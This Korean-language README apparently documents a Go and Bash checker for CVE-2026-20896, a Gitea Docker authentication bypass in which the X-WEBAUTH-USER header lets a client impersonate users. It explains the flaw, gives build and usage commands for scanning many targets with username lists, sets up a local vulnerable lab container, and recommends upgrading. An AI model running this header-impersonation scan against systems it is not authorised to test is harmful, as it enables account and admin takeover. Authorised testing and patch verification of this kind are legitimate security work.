
CVE-2026-20896 Gitea Docker X-WEBAUTH-USER 인증 우회 점검기
승인된 레드팀 / 모의 침투 작업 전용입니다.
이 저장소는 공식 Gitea Docker 이미지에서 리버스 프록시 인증이 활성화된 경우 1.26.2 이하 버전에 영향을 주는 인증 우회 취약점인 CVE-2026-20896을 위한 최소 점검기를 포함하고 있습니다.
영향을 받는 Gitea Docker 이미지에는 다음과 같은 app.ini 템플릿이 포함되어 있었습니다:
REVERSE_PROXY_TRUSTED_PROXIES = *
관리자가 다음을 활성화하면:
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
Gitea는 컨테이너 HTTP 포트에 직접 도달할 수 있는 모든 소스 IP의 X-WEBAUTH-USER 값을 신뢰했습니다. 의도된 인증용 리버스 프록시를 우회한 클라이언트는 단일 헤더를 보내 알려졌거나 추측 가능한 사용자로 가장할 수 있었습니다.
실질적 영향은 인증 없이 계정을 가장할 수 있다는 점입니다. 추측한 사용자가 관리자인 경우 최악의 시나리오는 Gitea 인스턴스와 해당 저장소 전체를 애플리케이션 수준에서 장악당하는 것입니다. 호스트 RCE는 환경에 따라 달라지며 본 점검기는 이를 주장하지 않습니다.
패치 버전은 1.26.3부터 시작하며, 1.26.4 이상으로 업그레이드하는 것이 권장됩니다.
점검기는 다음을 수행합니다:
Powered by Gitea Version: 1.26.4와 같은 푸터 텍스트를 찾습니다.>= 1.26.3이면 기본적으로 테스트를 건너뜁니다.X-WEBAUTH-USER: <username> 헤더가 포함된 GET / 요청을 보냅니다.Go 버전은 여러 대상, 사용자 이름 파일, 동시성, 타임아웃, JSONL 출력, TLS --insecure, --dry-run, --force를 지원합니다.
go build -o gitea-cve-2026-20896-check .
타사 Go 의존성은 필요하지 않습니다.
단일 대상:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,gitea_admin,alice
여러 대상 및 사용자 이름:
./gitea-cve-2026-20896-check \
--targets targets.txt \
--user-file users.txt \
--concurrency 64 \
--timeout 8s \
--jsonl
드라이 런:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,alice \
--dry-run
Bash 대체 스크립트:
./poc.sh --url http://localhost:3000 --users admin,alice
0: 취약한 가장(impersonation)이 하나 이상 확인됨1: 취약한 가장이 확인되지 않음2: 사용법, 입력 또는 런타임 오류다음 실습 환경은 영향을 받는 로컬 Gitea 컨테이너를 시작하고 테스트 사용자를 생성합니다:
docker run -d --name gitea-cve-2026-20896 \
-p 127.0.0.1:3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git gitea-cve-2026-20896 gitea admin user create \
--username alice \
--password 'longpasswordhere1234' \
--email [email protected] \
--must-change-password=false
./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
예상되는 취약 확인 결과:
[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
정리:
docker rm -f gitea-cve-2026-20896
1.26.3 이상으로 업그레이드하세요. 1.26.4 이상이 권장됩니다.1.26.3 / 1.26.4 릴리스 노트: https://blog.gitea.com/release-of-1.26.3-and-1.26.4/